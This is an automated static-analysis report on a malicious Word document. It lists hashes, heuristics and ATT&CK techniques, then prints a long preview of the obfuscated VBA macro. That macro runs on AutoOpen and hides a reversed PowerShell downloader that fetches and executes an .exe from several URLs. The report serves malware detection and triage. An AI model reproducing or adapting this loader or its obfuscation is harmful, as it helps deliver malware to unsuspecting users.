Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7f5604e8ca4dc215…

MALICIOUS

Office (OLE)

155.0 KB Created: 2018-05-14 22:36:00 Authoring application: Microsoft Office Word First seen: 2018-05-18
MD5: 75b0eaaa9905cb9cff95d34025078d87 SHA-1: 4c8d3f4d8c2bdd7b99d5307df30de0cc40bd0e12 SHA-256: 7f5604e8ca4dc2153f2d94aabbecdbc27e0fe66b78701e2d52192bebcaf426aa
114 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Word document containing a VBA macro. The macro is obfuscated and includes a call to a de-obfuscated URL, http://adib.co/Gl, which is likely used to download and execute a second-stage payload. The presence of the AutoOpen macro and the potential Shell call further indicate malicious intent.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ' Line #20:
'  Ld Shell
'  Ld Chr
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub Autoopen()
On Error Resume Next
  • URL de-obfuscated from VBA string literal (1 URL) info OLE_VBA_OBFUSCATED_URL
    A VBA macro hides its download URL inside a string literal that is de-obfuscated at runtime — junk digits or a Replace() junk token interleaved through the URL, or the URL stored reversed (StrReverse). The decoded host is the next-stage payload URL (URLDownloadToFile/XMLHTTP/ShellExecute); surfaced as an IOC. Self-validating: only a transform that yields a syntactically valid host URL is reported.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://adib.co/Gl Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 128185 bytes
SHA-256: ccf50293be4c7d41b76b1eb705d2043db5eec737173231c119cc2f3d5071c5b8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
673 of 1046 identifiers look randomly generated (e.g. 'cHz5JaBnZflhNAnw0zc8'); 9 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zzOBftUo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub COcimN(QaBik)
hdnvZs = Upjiw + Sgn(29689 - QqFFY - KuCEK + Fix(25319)) - 76752 - CDbl(30187)
bPbqw = rSiTCQ
NiulX = zZUvF
onajkL = 8759
End Sub
Sub DOTHGR(ZYXmW)
ohXKZq = SsGTVH + Sgn(19065 - QiwHz - TwKmi + Fix(11569)) - 7760 - CDbl(46639)
zJjwA = CZKVb
KIzlwH = IpZiYP
iMXuk = 47766
rJKlLJ = OJnlW + Sgn(87536 - qLBfw - QKYfL + Fix(62368)) - 61269 - CDbl(44353)
BPlCiT = pznzwt
lsBWLs = WOlTd
lfafdf = 46106
XATLp = VBsBIW + Sgn(59258 - mJKUio - AAjEmN + Fix(19718)) - 48796 - CDbl(15163)
RVYNs = LWAjUW
LHBwtQ = JAjcW
kHDiLb = 71070
End Sub
Sub qAGYta(ziIKiQ)
wkORI = KRmvrt + Sgn(96688 - SVUsl - VHvZz + Fix(80964)) - 42631 - CDbl(22633)
bRrjN = TPuTw
YNKhA = viInSt
BpopR = 35204
wvLiz = ltzGa + Sgn(48659 - fwtksz - bjNnz + Fix(95775)) - 41072 - CDbl(21226)
iacBh = cCfiq
BfCNsH = FvEwRE
RiXfBo = 50429
End Sub
Sub Autoopen()
On Error Resume Next
VfzYF = TrEKJ + Sgn(42657 - BKaGq - FaZdLw + Fix(85079)) - 12368 - CDbl(88709)
AjBRiJ = PUCal
zmIiQ = YzZKB
zwCmb = 24732
ZYEcdkRU (ZMEiH + zItkHVnkUvBcHX + vsoKl)
MTVZrC = cqWja + Sgn(41099 - wjNUd - pZMrvI + Fix(1872)) - 56818 - CDbl(40325)
jnnWo = bWKjN
KDjdIH = OfUjs
nHiijB = 69793
End Sub
Sub Smsnz(vEqJu)
EOJLSz = UGsPHv + Sgn(43873 - uzrbh - dsRnqJ + Fix(90400)) - 25520 - CDbl(19036)
KmNvYz = MjHPA
WlrcLB = wiMBa
sXbqw = 14711
DEVibc = ifrZOc + Sgn(33894 - CwhjLC - cZLUCF + Fix(90254)) - 70670 - CDbl(87507)
HEWRP = AjFdT
mnzEzV = IOvtNc
XHZqju = 96777
GYucm = jAGZWm + Sgn(75285 - WzIZH - tMKJpU + Fix(72930)) - 87318 - CDbl(17860)
tYsVh = KVjnb
oUrqI = kciKmN
uNlnR = 7054
End Sub
Sub rsfwtR(znmpUI)
XpSwLm = hjjli + Sgn(97178 - LYhRjo - wptwq + Fix(18954)) - 75340 - CDbl(78679)
USErXY = oGRiK
wMPTC = OEYkUJ
AZCVcV = 84860
End Sub

Attribute VB_Name = "OTZHPnFtLSKL"
Sub tjhXGB(qwhkhw)
umlpI = ahtpL + Sgn(75240 - JLMSKz - HsVzVU + Fix(34584)) - 88871 - CDbl(34879)
pZSPKH = cBtKMn
MTDQfk = akHQB
nUoAj = 29060
End Sub
Function zItkHVnkUvBcHX()
On Error Resume Next
AmUiz = mqIEf + Sgn(90324 - dlBQB - iXOpL + Fix(98348)) - 16601 - CDbl(80471)
INsdwf = azURaw
RjcVw = CSXwRh
lwIjqO = 98966
tZsnF = BLcri + Sgn(93285 - wwQXb - YjFtWl + Fix(68078)) - 61122 - CDbl(67526)
oifZa = fzOYsP
pAwvX = QSYaYL
njWBW = 71749
cTWUwAD = XaoBIf("YjwvP/s'+'s'+'erpdr'+'ow/ten.ml'+'ae'+'rpmoc/'+'/:ptth m'+'DB = XCDA'+'kHZ;)331'+'28'+'2'+' ,00001(txen.dsada'+'snkHZ = BSNkHZ;tneilC'+'beW.t'+'eN.metsyS )mDB'+'tce'+'jb'+'o-mDB'+'+m'+'DBwmDB+m,", 43851 + 2 - 43851, 43851 + 188 - 43851)
FnMwX = ISSIDl + Sgn(18298 - PsXpL - SoPDG + Fix(26771)) - 10628 - CDbl(99785)
bNCHzB = nzYnS
zQXnBv = nzMKj
RXIsJi = 16944
nRiAG = fRHFC + Sgn(68680 - pcZva - FaiaH + Fix(24443)) - 85652 - CDbl(44486)
rztSN = jObNoC
whdYf = ZzOjEz
wFrXo = 26053
QDOPGoPHf = XaoBIf("8MjHm4C[+66]RAhC[( EcaLPeRc-69]RAhC[,'jsV'EcAlPer-63]RAhC[,)701]RAhC[+27]RAhC[+09]RAhC[(  EcaLPeRc-29]RAhC[,'WF4'EcaLPeRc-  )'}}{hctac}'+';k'+'aerfr", 35701 + 3 - 35701, 35701 + 140 - 35701)
NaJMjW = JNwilK + Sgn(66057 - BwihHz - cNpVI + Fix(58602)) - 51607 - CDbl(45483)
ZaUKV = RpJtQ
QBSmWS = upGFl
wwWONM = 65946
iiDkqu = VjWhrB + Sgn(36334 - qZWfdH - FZwQm + Fix(90955)) - 74000 - CDbl(97354)
zMHKc = AMpZG
cEzSv = zcZipb
ZilaI = 97002
ffDVCSB = XaoBIf("IZY+'DSkHZ'+'()mDBmetI-em'+'D'+'B+mDBkmDB+mDBovnImDB(&;)CDSkHZ'+' ,)(5K'+'L'+'gNjsVi'+'js'+'Vrt'+'SoT5'+'KL.cfsakHZ(PjG%", 81347 + 5 - 81347, 81347 + 113 - 81347)
hHiitI = mZKpE + Sgn(2237 - cUAwq - oWpQWj + Fix(78467)) - 6617 - CDbl(48890)
mhaXU = WSYnj
CPtla = zJlbR
uKSSHN = 37315
QFZHBs = TKIoD + Sgn(49687 - AJctG - BkPjoi + Fix(87750)) - 69260 - CDbl(26965)
Ktzwl = IGqJoI
miKJRj = GqWMu
psSXwc = 10001
XmUuJjX = XaoBIf("t,LchF4mDB + c'+'ilbup:v'+'nekHZ '+'='+'JGmj", 17356 + 5 - 17356, 17356 + 35 - 17356)
zuEbm = AVDzH + Sgn(86789 - dziUbD - BTXmDF + Fix(5808)) - 30280 - CDbl(76859)
KLDso = GifYSk
YFBpLv = CWYKzi
RXjEk = 65228
JJMuEp = FRUjmA + Sgn(27527 - swhndj - UULNdq + Fix(87623)) - 66619 - CDbl(98676)
mPnwR = imNGbt
aWdobl = MjNTp
irMsMj = 41067
kbiOB = XaoBIf("j@imM5KLeljsV'+'IFdaOjsVlnWjs'+'VoD5KL.UYYkHZ{y'+'r'+'t{)'+'XCDAkHZ ni cfsakHZ(hca'+'erof;)XP", 69824 + 3 - 69824, 69824 + 86 - 69824)
zlaoa = CBPZOb + Sgn(50555 - qzBRwz - DCTHZ + Fix(25810)) - 76140 - CDbl(51398)
usYdb = CzBmwL
nFNRw = MrumX
wiHhA = 73445
imarAp = icERi + Sgn(2618 - HcGZJd - HsKtL + Fix(8171)) - 26191 - CDbl(32223)
FEMPF = zkLbH
aZNTBH = hJkzd
buPzo = 70952
JsTocIPK = XaoBIf("ItDBe'+'nmD'+'B(. = UY'+'YkHZ;modnar '+')mD'+'BtmDB'+'+mDB'+'ce'+'jbo-'+'w'+'mD'+'B+m'+'DBemDB+m'+'DB'+'n'+'m'+'DB(&'+QujEn", 29629 + 6 - 29629, 29629 + 116 - 29629)
NVwMV = XBfVNi + Sgn(41854 - hSwZKw - izVFj + Fix(13176)) - 59035 - CDbl(22320)
nXqwWE = AzPkGC
WQHYtb = XdoDf
cHmis = 80875
ArTKa = sTTbzo + Sgn(70143 - SmjiH - VpUdZH + Fix(43126)) - 41067 - CDbl(19280)
BUamF = zlPncb
aRVkYK = ihjjw
WplTT = 45367
MzWtjAjL = XaoBIf("HrNbz'+'m'+'DBemDB+'+'mDBxe.m'+'DB('+' + BSN'+'kH'+'Z + mDBW%XX", 97440 + 4 - 97440, 97440 + 55 - 97440)
IZfNz = ZmzSU + Sgn(24306 - OuMEXw - sdUkt + Fix(77599)) - 88846 - CDbl(45184)
AwUFR = AmHmT
fkPPUE = bdhvUM
iFvUJ = 20498
NcipJG = BuQsEv + Sgn(56123 - IYPwz - jUaETv + Fix(89275)) - 63129 - CDbl(78952)
hQPsT = fqHfHE
RCaND = nqOIFi
HlqKB = 39063
AkPuVpGm = XaoBIf("OPOb'+';)C'.oD.s8", 3483 + 7 - 3483, 3483 + 8 - 3483)
wLnfl = LsYqUk + Sgn(59604 - JBshr - BiTIKN + Fix(20499)) - 79809 - CDbl(89120)
winzV = PvcPm
RXoVzG = jwdKlD
rfVXd = 41841
wMBvlO = ARZtwN + Sgn(74591 - XEcij - EwdYrH + Fix(76641)) - 70121 - CDbl(61426)
QOtfbU = kjmbYc
DctAwM = mLhtQX
tGKPl = 68622
HiNbCQjXA = XaoBIf("wDzGE)''nIOJ-]2,11,3[eM5", 96505 + 2 - 96505, 96505 + 18 - 96505)
iTHiCa = zwVjTz + Sgn(40892 - OnnTw - CMmKwG + Fix(82082)) - 50459 - CDbl(54151)
msAUJ = StlBoO
NzXCi = WbRnwf
UXGUB = 44740
nREDl = twwVk + Sgn(12272 - Kcidu - crUGa + Fix(51441)) - 34637 - CDbl(93450)
wGqThN = XLVnH
LHoqA = kwPVL
XKSLdc = 37614
qiqrCHKqFcJ = XaoBIf("ft6jwGaN.)'*rdM*' ELBAIrav(( &|)43]RAhC[,'5KL'  EcAlPer-  93]RAhC[,)901]RAhC[+86]RAhBI", 39793 + 3 - 39793, 39793 + 78 - 39793)
ICpfQ = nIETH + Sgn(13732 - ZfMRja - Lohlf + Fix(58787)) - 18625 - CDbl(5471)
MhsTqu = SJabd
rwNEuw = GttCSF
VDAlP = 69632
DoHPBE = kmHjDZ + Sgn(22146 - fYNcjl - PPmZI + Fix(15531)) - 27578 - CDbl(18721)
zhruk = CDczPj
wiYPzf = ikjwo
sdcva = 42203
ucEEGDJ = XaoBIf("hTA' '+'= '+'dsadasnk'+'HZ'(( QY@Vz", 50592 + 6 - 50592, 50592 + 27 - 50592)
vhWhQq = WKAjW + Sgn(60566 - QIBtKi - hOzvFL + Fix(71148)) - 49043 - CDbl(52526)
XtGkRI = wHizTk
aJpcU = CPnmNS
mLfQw = 67666
fkjWvX = WJGnYR + Sgn(12664 - Bakaj - bCMAk + Fix(84954)) - 6194 - CDbl(42167)
UuDfbH = TJziFr
QiKjh = nXwiQD
WVKfWA = 64622
jtEDvUBkzlL = XaoBIf("KuwIj C'+'DSkH'+'Z'+';)'+'mDB@mDB(t'+'ilpS'+'.mDB/g8'+'GMaHX'+'/es'+'.m'+'uirema//:p'+'t'+'th@/9p8Jk/mo'+'c.re'+'tnuhddahc//:ptth@/BWDR/ue.stnevebb//'+':ptth@/PxsN'+'lG/oc.bida//:ptth@/xW0vrm", 38476 + 3 - 38476, 38476 + 184 - 38476)
tVmiBB = abCIk + Sgn(83822 - SaIVto - wYOXad + Fix(96527)) - 98235 - CDbl(38252)
EKZXN = Fjajz
cHTpa = kXBHt
vwXGbY = 16555
HvEaRY = CDpTI + Sgn(99674 - wHEkCv - wFzRl + Fix(53323)) - 32971 - CDbl(1620)
EBXVMj = tYBzh
MnkoR = QCrVNM
pGIjz = 76917
TSInShwJRC = FkSkiQQ + """" + KMBzhdt
jwJRk = NfKIBq + Sgn(93228 - sEJjOb - zKBjM + Fix(83499)) - 59397 - CDbl(39852)
fhwwc = nWQJXm
VOZHaU = nAOSoj
IiXEiL = 88496
zItkHVnkUvBcHX = UuzIIRnQFDj + LzUfrvdRki + omJFRKYcfT + MFuFmunusCfX + TSInShwJRC + IvwinsEobjs + ucEEGDJ + JsTocIPK + cTWUwAD + jtEDvUBkzlL + XmUuJjX + MzWtjAjL + kbiOB + ffDVCSB + AkPuVpGm + QDOPGoPHf + qiqrCHKqFcJ + HiNbCQjXA
iHSLfz = JOFHzW + Sgn(47794 - nXmRz - QrMLm + Fix(385)) - 44588 - CDbl(798)
Hswrf = zztdvJ
DowHO = RRoPut
QFzsz = 25085
End Function
Sub vLBzZm(Bwkoj)
zJidMC = qpuMPv + Sgn(10482 - qlaLwq - UbXWA + Fix(84387)) - 31888 - CDbl(52709)
czkon = FiMPrF
piihh = KJclI
oHFpCr = 48953
fjSKR = Qfwziw + Sgn(32219 - lpsSK - REzLc + Fix(26284)) - 97634 - CDbl(35516)
pJXSr = GPTQru
NdCKJl = QwjhT
ajHiDr = 96808
End Sub

Attribute VB_Name = "HpLjZRfaZCS"
Sub BQFazcUFdsub()
On Error Resume Next
mrWJS = Nwjsa + Sgn(81262 - uLWIkN - vwGnr + Fix(56983)) - 70243 - CDbl(37003)
pXhOIK = MwQzdB
PPUifG = SopSP
ljRoTu = 12664
End Sub
Function MFuFmunusCfX()
On Error Resume Next
Utbpjc = KUNWu + Sgn(4759 - YWvFMh - jrwtW + Fix(95880)) - 56390 - CDbl(62276)
jivBuW = sviwIT
vUluLu = NhZWkB
vNihds = 63094
FzKfa = tkRPc + Sgn(30253 - LtDwn - jSOsc + Fix(32358)) - 83328 - CDbl(50409)
EBhjw = TQjWR
FRzvo = OHGizb
HFrEhO = 68278
cTWUwAD = XaoBIf("YjwvPH,", 29407 + 2 - 29407, 29407 + 1 - 29407)
YjQitT = scUcVG + Sgn(51079 - Ozojc - OZDFD + Fix(78916)) - 11336 - CDbl(52782)
CHiRj = iMvRVP
KVGZjF = HtiGUK
Ncpim = 32083
bjzlp = uQwjD + Sgn(68349 - HrQEm - NrcMC + Fix(43199)) - 125 - CDbl(93269)
AbQbB = kLYzVs
LbYTma = DFFPM
NwUvPp = 21163
QDOPGoPHf = XaoBIf("8MjHm4tLNLzlWIvw% tesfr", 30387 + 3 - 30387, 30387 + 15 - 30387)
PUQciP = jrFRd + Sgn(38308 - BnikZX - vVBOF + Fix(55277)) - 72979 - CDbl(82372)
jjhOvG = qDKBW
Awjbh = jMfPnR
zONcm = 72074
uFQdV = dhvdjT + Sgn(3999 - NtmNoM - GuKJT + Fix(4621)) - 75076 - CDbl(42431)
puIWEL = XnULE
bJnGk = wGuIbu
LFUBmq = 22351
ffDVCSB = XaoBIf("IZYJA% tPjG%", 79792 + 5 - 79792, 79792 + 5 - 79792)
nmLfu = pOaUA + Sgn(19121 - SAWNRK - juljb + Fix(31365)) - 116 - CDbl(96643)
lhVtO = XcaqaH
UoakAs = zoUfl
tAiEi = 4669
XntSB = TtnQbS + Sgn(49693 - wdSZn - FJvdTH + Fix(71616)) - 56298 - CDbl(70150)
QYHNp = BfEwGv
QJpWH = ikmHU
NsQwt = 19194
XmUuJjX = XaoBIf("t,LchX%!!%URkdcEJGmj", 82792 + 5 - 82792, 82792 + 11 - 82792)
JXACKM = VbmUq + Sgn(40751 - oiTil - KBfdQn + Fix(16439)) - 54956 - CDbl(66329)
hLmQmw = GiJoz
zSRwu = NzTIj
HrXmWD = 81805
tXPQT = jfZPKr + Sgn(22151 - DRYjz - qbKzRj + Fix(38700)) - 20031 - CDbl(6679)
ASwAwi = FYmoNS
jKTpw = WJVrM
MQwmc = 43233
kbiOB = XaoBIf("j@imMizUvDNqzXP", 75284 + 3 - 75284, 75284 + 8 - 75284)
mPsvKB = kTIMp + Sgn(56570 - ETHNi - kQrzE + Fix(76913)) - 62450 - CDbl(42911)
GlJSk = roPIni
DAICjJ = zrZzK
WYvqWV = 95748
qSBOr = dDzkm + Sgn(71708 - TzOsU - QqMAj + Fix(63529)) - 5964 - CDbl(63488)
BmWWRD = RwjSl
wTJzhz = CZirV
XdRVh = 77603
JsTocIPK = XaoBIf("ItDRWoSDYiMRoQujEn", 37900 + 6 - 37900, 37900 + 11 - 37900)
wCNOQ = QMfQI + Sgn(2972 - dusrhz - bbbHi + Fix(1543)) - 22474 - CDbl(63010)
zdBiMn = GuiNht
JWqsc = kanijw
aFkPH = 67821
fwdvv = WiBzLi + Sgn(28803 - hTYiX - qcMtOq + Fix(17456)) - 32012 - CDbl(76301)
EKwZcb = sLwSt
cWBXVw = wfYzf
kjhFq = 11078
MzWtjAjL = XaoBIf("HrNbzs%XX", 64531 + 4 - 64531, 64531 + 1 - 64531)
JsAmpi = SjXZH + Sgn(94973 - jXMToS - tZmzua + Fix(82620)) - 33668 - CDbl(21024)
HMzpk = Pimsm
IzphY = MUlCn
PTOnu = 15047
ntTTC = WmOfz + Sgn(13632 - FoSuT - UVUQC + Fix(7138)) - 59885 - CDbl(37470)
JcWMC = lDLcKM
cTPVpz = WMfmtK
ScQQXq = 37055
AkPuVpGm = XaoBIf("OPOY% tes&&eh=%sVKw.oD.s8", 28356 + 7 - 28356, 28356 + 16 - 28356)
lJmEmT = GRIJdt + Sgn(2099 - hNidj - zjSrqS + Fix(51742)) - 90950 - CDbl(24221)
WXzhGi = KWkFNi
jDRajC = NmioZU
wAKLF = 40408
fDuipL = WEVPvN + Sgn(73083 - ElYPz - JUUpb + Fix(49739)) - 98577 - CDbl(30308)
woWJsb = qjEHiD
GBOJU = qdGcQV
ZsNldG = 45830
HiNbCQjXA = XaoBIf("wDzGEp5", 76321 + 2 - 76321, 76321 + 1 - 76321)
aYDtq = voKslF + Sgn(6717 - nNQii - UiutWs + Fix(3244)) - 96063 - CDbl(42282)
dcjtj = LPiDuo
jfQfLE = UwXhC
dKXzbz = 36216
jLNUjh = avqtY + Sgn(22421 - RQCijw - iqnMW + Fix(55218)) - 7619 - CDbl(4940)
XEbNDt = wKdvi
MFmXE = woiQYU
VZIME = 2648
qiqrCHKqFcJ = XaoBIf("ft6jwGnoTGVwk%!!%kBI", 83436 + 3 - 83436, 83436 + 12 - 83436)
CToww = XDEXFD + Sgn(54684 - diazX - EEsoDs + Fix(2993)) - 47659 - CDbl(75553)
wZtJVs = pYXDu
HKUsvr = iNjYTz
ztFjwQ = 27613
aubUL = NWfudv + Sgn(68881 - QoKPs - XzwnaG + Fix(59252)) - 41112 - CDbl(60729)
flWoff = zvrZRz
pEGvt = UiLHwd
nuETsq = 98949
ucEEGDJ = XaoBIf("hTAvpOSE=%cQY@Vz", 49341 + 6 - 49341, 49341 + 8 - 49341)
sZuhl = KUBSGA + Sgn(61550 - VAjbAL - ZOqCiC + Fix(10450)) - 82919 - CDbl(46420)
bzDzfL = IfJOK
scQoYD = QqnSSL
fCzFd = 56052
YAbiz = Vzjvsj + Sgn(37217 - vRNiZi - omVSXF + Fix(11651)) - 20268 - CDbl(50641)
MAiUr = nkKtmQ
pkQSi = kvCmf
NGPbXP = 77995
jtEDvUBkzlL = XaoBIf("KuwIjdwarm", 71712 + 3 - 71712, 71712 + 3 - 71712)
jjjoM = WZuOo + Sgn(95463 - lfiGn - CpUKO + Fix(98611)) - 70460 - CDbl(56358)
XInizK = JBcFd
LBnzhM = ahVkrm
LVUpc = 53063
ijZpJ = vzpqHQ + Sgn(76866 - OabjwP - OtjEUz + Fix(99269)) - 98725 - CDbl(9215)
RonZo = kKVDZi
LqvYcd = iWoZP
skppvA = 70903
tRfHwFlXXrJ = XaoBIf("KIiHzcDUZQfuuR%!=%kJ6T", 65552 + 3 - 65552, 65552 + 16 - 65552)
pbADav = YcLNjw + Sgn(40088 - YbWVn - vAOJwl + Fix(38)) - 41391 - CDbl(61693)
YzOVO = VChaGu
LjtXXQ = ZiwFu
ltbJqC = 92700
DQcjia = EcWFT + Sgn(7284 - RnBMUi - aGNpF + Fix(5778)) - 88716 - CDbl(53674)
IhVqr = vncsW
nHOjuD = Hmswf
cKOtd = 45625
kUIRkX = XaoBIf("EWjMmO1 !%LwS", 7443 + 3 - 7443, 7443 + 4 - 7443)
cVNYw = kzrOj + Sgn(53023 - VnwwF - zmUTQ + Fix(70360)) - 81097 - CDbl(44932)
HhuzV = NRtql
TIPYJU = woLPo
YbHBz = 76398
lpEiC = GiobC + Sgn(35352 - qWEGm - wBiGJ + Fix(70074)) - 5801 - CDbl(32813)
WvjnJ = cNFizz
bBIjv = zLwnwv
IGjvwz = 83835
XmrVn = XaoBIf("qXrGYZ%!!%Fzwqrw", 15308 + 4 - 15308, 15308 + 9 - 15308)
HtvOJd = IzXnO + Sgn(92438 - dzcpQ - waIks + Fix(36520)) - 50729 - CDbl(42511)
KkzGDT = NRmIk
zPJju = dlSJjZ
hlLWq = 6590
oXPlr = Unnsii + Sgn(33815 - ittkMP - vKJJSq + Fix(98592)) - 51419 - CDbl(8254)
kbjVuw = wLrio
lURfcH = lHCEtN
bZvVN = 68527
uXmJJaBdwVb = XaoBIf("VjGktIz%!=%FzwHnoTGVwkKVi", 84737 + 4 - 84737, 84737 + 19 - 84737)
zDkPk = foAXQG + Sgn(20971 - pAKWS - BdZcb + Fix(62874)) - 82757 - CDbl(73910)
PWVEt = QjQrKP
GinnCh = YlwuZD
iInDG = 86739
vmEpzs = DEiOH + Sgn(55490 - OBZOL - cGbdhG + Fix(46849)) - 93958 - CDbl(37192)
ujjGW = YdXhv
slcwvM = PXphhK
LaHtUZ = 68600
zarQRsdiDr = XaoBIf("MdzdFz5@&!%Io", 33431 + 2 - 33431, 33431 + 4 - 33431)
jhYVqv = vqdktN + Sgn(79306 - lKLKE - FzCwjH + Fix(95985)) - 41175 - CDbl(57912)
WzLCu = ZWqmb
EwQcWa = iIOfh
iWZJni = 50803
cBDrz = NFTAXk + Sgn(14350 - BBZUd - wDUZuO + Fix(82000)) - 57039 - CDbl(10304)
ChtkcA = jTYtU
OWdcV = Hwzcw
Zjiwi = 90652
hBPoLEES = XaoBIf("MG5w% tes&39SR", 24415 + 5 - 24415, 24415 + 6 - 24415)
AjzpqX = AzqAEh + Sgn(53034 - GCRmVO - qDFwXD + Fix(37837)) - 46485 - CDbl(75422)
dJUXQj = FqOHGz
PkZab = wZVBpu
uzbhaC = 30429
Hbfud = QtCJHZ + Sgn(11163 - DRfMpf - BaVQX + Fix(5625)) - 36782 - CDbl(61051)
mDOSfS = fJjwZH
NMkSb = KvicPG
JiGrz = 26075
VKSYbDwl = XaoBIf("8QNaBTUU", 51997 + 4 - 51997, 51997 + 2 - 51997)
WDKnK = dACJjd + Sgn(89246 - IDmkr - cqVlDZ + Fix(33076)) - 57154 - CDbl(2248)
pBLsA = BzHqM
tZwmL = BaUGFY
fiZjlU = 430
DDrrn = oruzVo + Sgn(73127 - TfrONf - DYYjLi + Fix(91911)) - 21605 - CDbl(45400)
cwWMi = mHuiih
KbVYX = EpKuEA
SLbIsj = 43621
RLrupu = XaoBIf("XDba^e=%URkdcz5Bi", 98982 + 5 - 98982, 98982 + 9 - 98982)
spPSlm = HTwPW + Sgn(36252 - EpGYR - iSDSL + Fix(6270)) - 50850 - CDbl(51300)
mpBKZS = GGlGwi
wodMFG = CUODCa
zGhMia = 63760
shnjYQ = SqbNDJ + Sgn(50673 - HwNwG - bCzmi + Fix(33875)) - 67784 - CDbl(36891)
ISffo = wrfFK
kXVMr = DFFCc
LQioz = 81596
anjEpbRL = XaoBIf("1rK9%!&&ll=%LiVYivhVj", 11924 + 4 - 11924, 11924 + 14 - 11924)
JzbTuY = lzKHhq + Sgn(93311 - qfdar - jNIGq + Fix(52816)) - 38670 - CDbl(45472)
ItpGBA = EaoNc
vzUlH = azKXzv
mTMEwJ = 27113
LBHEEM = lVpVuh + Sgn(32401 - OVzQo - YdoTBo + Fix(49141)) - 83532 - CDbl(88201)
UuhPw = cMPOF
iCKKTM = FNRkim
SkCXQ = 88635
sjjkHjmaXCz = XaoBIf(".XYz%!!%dYwXTbIMj", 25213 + 4 - 25213, 25213 + 11 - 25213)
fAzzBW = tkAanr + Sgn(90501 - JqVMMo - CKzdaC + Fix(84268)) - 18935 - CDbl(85326)
LGCCKK = qlLdR
vucjb = BEhmk
pAYvqB = 51977
jMDzZZ = szVrL + Sgn(35166 - KmHbqA - WMQkzw + Fix(23841)) - 47225 - CDbl(48403)
HXmzJG = GtsiVO
BFpHFD = TAGJzn
ccMTY = 90045
mJZKNQio = XaoBIf("zkQfuuR% tes&&ouswozU@", 15126 + 5 - 15126, 15126 + 16 - 15126)
ofCAjf = wICBw + Sgn(65083 - rHFSWf - WjnJTP + Fix(57375)) - 33209 - CDbl(61241)
zTwMa = GZYaWr
HAGdl = GBCPv
zOqNP = 82989
nqdXwR = quaID + Sgn(83531 - MdkHLq - trjfEY + Fix(54704)) - 27901 - CDbl(76174)
WLDuJ = bmmVS
FRlECT = lTEVk
zwrstc = 54653
XhiYj = XaoBIf("ma!!%sVKwpJWnwBD", 60870 + 6 - 60870, 60870 + 9 - 60870)
Ymrnm = cJUYV + Sgn(51397 - lOuzV - CBiSq + Fix(36838)) - 1564 - CDbl(20924)
jutsq = hftQP
icwfA = jNizs
TZEpT = 2185
ptFwK = mihkLd + Sgn(12762 - zrTEb - coVnFw + Fix(16922)) - 85863 - CDbl(92068)
brFjzi = FKcZs
CSrDGM = AfzsuB
SsNju = 66839
PXKKm = XaoBIf("j.iVYivRtY%3crs9HK", 39662 + 8 - 39662, 39662 + 9 - 39662)
JUYZSV = NuzWkN + Sgn(36465 - OtBjB - vrNmvG + Fix(72849)) - 24375 - CDbl(93179)
fJjtwT = orHnkA
JnEzi = fOhAN
KnWOBA = 97027
zYwsp = dkofDR + Sgn(86281 - PJEkN - avdWNw + Fix(62805)) - 54230 - CDbl(81868)
QQozT = ohJLRQ
uruvzK = IJknnD
bfrEBu = 65265
fhALK = XaoBIf("Z@HtjKHjZz4tOJT", 6954 + 7 - 6954, 6954 + 6 - 6954)
nctAR = WbCSK + Sgn(94748 - fSCjRF - HfBMQC + Fix(24508)) - 5292 - CDbl(34517)
QWQfD = CzsPl
iUdFLw = oUjoj
IahjO = 15984
wcnDXi = ojwWn + Sgn(10807 - ntdwj - cmFKJ + Fix(25251)) - 32648 - CDbl(52991)
CdEopu = sFzXp
zIIlqR = GfSKL
JXduK = 34175
EHltDqnujjw = XaoBIf("wprX8bDfnV5", 38419 + 2 - 38419, 38419 + 2 - 38419)
EjURwQ = mAYzL + Sgn(70597 - owBXWz - dWKud + Fix(67399)) - 71073 - CDbl(57843)
LmFGn = oqnaw
FHTza = VacXo
OaKJX = 40692
lVAGW = LLLqzZ + Sgn(85332 - SVsaJ - jnXUoa + Fix(58643)) - 92231 - CDbl(51532)
aKdBSf = IvLYF
CSizd = zsawBm
zfSvwP = 70843
TYPNPTuY = XaoBIf("%9owErtU=%uzO3@ai0", 64336 + 6 - 64336, 64336 + 11 - 64336)
Ppvqpm = kizPbU + Sgn(41024 - JdBIb - zMbPUh + Fix(86637)) - 81120 - CDbl(309)
IUpnd = GnADIw
mKicd = SvHJo
cTbUF = 6216
mkBas = jmIov + Sgn(23781 - UCZIU - iWDonM + Fix(80414)) - 48594 - CDbl(43398)
WnpbL = iEVmz
YiGQMP = rlrXa
diwNNC = 75230
ZfXKb = XaoBIf("cHz5JaBnZflhNAnw0zc8", 88121 + 6 - 88121, 88121 + 11 - 88121)
TmAFk = KXUmim + Sgn(80177 - ViWAaH - hiQOui + Fix(52629)) - 66114 - CDbl(82627)
jKcFv = LbYGU
Fporf = OqNcf
mIkrqJ = 67717
iVGhA = wELAw + Sgn(17000 - KJqwQ - LCdlA + Fix(73745)) - 3132 - CDbl(86305)
kYFMpw = HdKwwi
